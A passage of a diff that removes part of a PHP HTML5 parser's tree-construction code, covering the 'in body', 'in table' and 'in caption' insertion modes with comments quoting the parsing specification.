"meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === 